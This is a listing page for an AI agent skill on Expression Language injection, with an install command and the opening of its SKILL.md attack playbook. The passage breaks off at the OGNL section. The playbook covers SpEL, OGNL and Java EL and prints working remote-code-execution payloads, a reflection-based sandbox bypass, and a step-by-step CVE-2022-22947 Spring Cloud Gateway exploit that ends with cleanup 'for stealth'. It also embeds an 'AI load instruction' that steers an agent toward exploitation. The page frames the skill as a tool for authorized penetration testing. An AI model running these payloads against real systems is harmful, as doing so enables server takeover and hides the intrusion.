
Expression Language Injection
Run structured Expression Language injection tests and exploitation notes when auditing Java/Spring, Struts2, Confluence-style apps where SpEL, OGNL, MVEL, or Java EL may evaluate user input.
Overview
Expression Language Injection is an agent skill most often used in Ship (also Build integrations, Operate iterate) that guides authorized testing when Java EL, SpEL, OGNL, or MVEL may evaluate attacker-controlled input.
Install
npx skills add https://github.com/yaklang/hack-skills --skill expression-language-injectionWhat is this skill?
- Expert playbook for SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF)—distinct routing from SSTI template engines
- Polyglot detection probes: ${7*7}, #{7*7}, %{7*7}, SpEL T(java.lang.Math), OGNL %{#context}
- Covers sandbox bypass, _memberAccess manipulation, actuator abuse, and real-world CVE chains
- Cross-links to SSTI and JNDI injection skills for disambiguated attack surfaces
- AI load block instructs framework-specific exploitation paths after probe confirmation
- SKILL.md documents five polyglot detection probe forms for EL vs OGNL confirmation
- Explicit distinction from SSTI template engines with related-skill routing to SSTI and JNDI playbooks
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 0/3 security scanners passed (skills.sh audits).
What problem does it solve?
You deploy Java framework endpoints but cannot tell whether reflected 49 from ${7*7} means SpEL, OGNL, or Java EL—or how to escalate safely during a focused security review.
Who is it for?
Indie builders and small teams performing authorized penetration tests or pre-ship reviews on Spring, Struts2, or similar Java apps with expression evaluation risk.
Skip if: Unauthorized scanning of third-party sites, teams without Java EL background expecting copy-paste one-liners without probe confirmation, or pure front-end static sites with no server-side expression evaluators.
When should I use this skill?
Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks during authorized security work.
What do I get? / Deliverables
After the skill runs you have a structured detection and exploitation playbook aligned to the confirmed framework, plus pointers to SSTI or JNDI skills when the attack surface differs.
- Confirmed framework-specific EL injection hypothesis from probe matrix
- Documented exploitation path notes aligned to SpEL, OGNL, or Java EL
- Remediation-oriented findings for ship security gates
Recommended Skills
Journey fit
Spans multiple journey phases - primary shelf plus alternate fits below.
Ship is the canonical shelf because the playbook supports pre-release and release-candidate hardening—finding RCE-class EL flaws before customers touch production endpoints. Security subphase matches offensive validation, sandbox bypass patterns, and CVE-style chains rather than feature implementation.
Where it fits
Run polyglot EL probes on a staging Spring Boot actuator endpoint before tagging a release.
Validate that user-supplied fields cannot reach SpEL evaluation when adding a new admin search filter.
Re-test a patched Struts2 deployment after a CVE advisory mentions OGNL _memberAccess bypass patterns.
How it compares
Use alongside SSTI skills for template engines—this skill targets expression evaluators embedded in Java frameworks, not Jinja2 or FreeMarker rendering alone.
Common Questions / FAQ
Who is expression-language-injection for?
Security-conscious solo builders and agent users hardening Java/Spring or Struts-style backends who need EL-specific probes and exploitation routing during permitted assessments.
When should I use expression-language-injection?
During Ship security review on staging APIs; during Build integrations when wiring Spring actuators or OGNL-heavy legacy modules; during Operate iterate when investigating suspected expression evaluation in production-like clones.
Is expression-language-injection safe to install?
The skill contains offensive techniques—review the Security Audits panel on this Prism page and restrict agent permissions; only run probes and chains on systems you are authorized to test.
Workflow Chain
SKILL.md
READMESKILL.md - Expression Language Injection
# SKILL: Expression Language Injection — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass, `_memberAccess` manipulation, actuator abuse, and real-world CVE chains. ## 0. RELATED ROUTING - [ssti-server-side-template-injection](../ssti-server-side-template-injection/SKILL.md) for template engines (Jinja2, FreeMarker, Twig) — different attack surface - [jndi-injection](../jndi-injection/SKILL.md) when EL evaluation leads to JNDI lookup **Key distinction**: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (`${7*7}`) but diverge in exploitation. --- ## 1. DETECTION — POLYGLOT PROBES ```text ${7*7} → 49 = SpEL, OGNL, or Java EL #{7*7} → 49 = SpEL (alternative syntax) or JSF EL %{7*7} → 49 = OGNL (Struts2) ${T(java.lang.Math).random()} → random float = SpEL confirmed %{#context} → object dump = OGNL confirmed ``` ### Disambiguation | Response to `${7*7}` | Response to `%{7*7}` | Engine | |---|---|---| | 49 | literal `%{7*7}` | SpEL or Java EL | | literal `${7*7}` | 49 | OGNL (Struts2) | | 49 | 49 | Both may be active | --- ## 2. SpEL (SPRING EXPRESSION LANGUAGE) ### Where SpEL Appears - `@Value("${...}")` annotations - Spring Security expressions (`@PreAuthorize`) - Spring Cloud Gateway route predicates and filters - Thymeleaf `th:text="${...}"` (when combined with `__${...}__` preprocessing) - Spring Data `@Query` with SpEL ### RCE via Runtime.exec ```java ${T(java.lang.Runtime).getRuntime().exec("id")} ``` ### RCE with Output Capture (Commons IO) ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())} ``` ### RCE with Output Capture (Spring StreamUtils) ```java #{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))} ``` ### ProcessBuilder (alternative when Runtime is blocked) ```java ${new java.lang.ProcessBuilder(new String[]{"id"}).start()} ``` ### Spring Cloud Gateway — CVE-2022-22947 Exploit via actuator to add malicious route with SpEL filter: ```bash # Step 1: Add route with SpEL in filter (with output capture) POST /actuator/gateway/routes/hacktest Content-Type: application/json { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}" } }], "uri": "http://example.com", "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}] } # Step 2: Refresh routes to apply POST /actuator/gateway/refresh # Step 3: Trigger the route GET /hackpath # Response header "Result" contains command output # Step 4: Clean up (important for stealth) DELETE /actuator/gateway/routes/hacktest POST /actuator/gateway/refresh ``` ### SpEL Sandbox Bypass When `SimpleEvaluationContext` is used (restricts `T()` operator): ```java // Try reflection-based bypass: ${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')} ``` --- ## 3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE) ### Where OGNL Appears - Apache Struts2 — primary OGNL consumer - Confluence Server — uses OGNL in certain request paths - Any Java app using `ognl.Ognl.getValue()` or `ognl.Ognl.setValue()` ### Basi